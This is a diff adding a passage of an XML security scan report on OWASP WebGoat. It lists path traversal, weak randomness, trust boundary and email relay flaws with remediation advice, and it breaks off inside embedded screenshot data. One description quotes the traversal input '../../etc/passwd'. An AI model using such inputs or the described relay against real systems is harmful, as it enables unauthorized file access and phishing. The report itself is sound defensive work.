+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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